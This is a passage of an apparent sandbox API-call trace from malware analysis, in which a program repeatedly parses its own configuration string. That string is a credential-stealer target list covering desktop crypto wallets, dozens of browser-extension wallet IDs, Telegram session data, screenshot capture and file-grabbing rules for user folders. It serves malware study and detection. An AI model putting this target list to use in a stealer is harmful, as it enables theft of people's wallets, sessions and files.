Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 5278 [0266.326] LocalAlloc (uFlags=0x40, uBytes=0x293c) returned 0x6fe628 [0266.327] lstrlenW (lpString="wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3402 [0266.327] LocalAlloc (uFlags=0x40, uBytes=0x1b14) returned 0x700f70 [0266.327] StrCpyW (in: psz1=0x6ef5a0, psz2="Wasabi" | out: psz1="Wasabi") returned="Wasabi" [0266.327] LocalFree (hMem=0x700f70) returned 0x0 [0266.327] StrStrW (lpFirst="26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch=";") returned=";WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0266.327] lstrlenW (lpString="wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3402 [0266.327] LocalAlloc (uFlags=0x40, uBytes=0x1b14) returned 0x700f70 [0266.327] StrCpyW (in: psz1=0x6f1ee8, psz2="26" | out: psz1="26") returned="26" [0266.328] LocalFree (hMem=0x700f70) returned 0x0 [0266.328] StrStrW (lpFirst="WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch=";") returned=";*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension 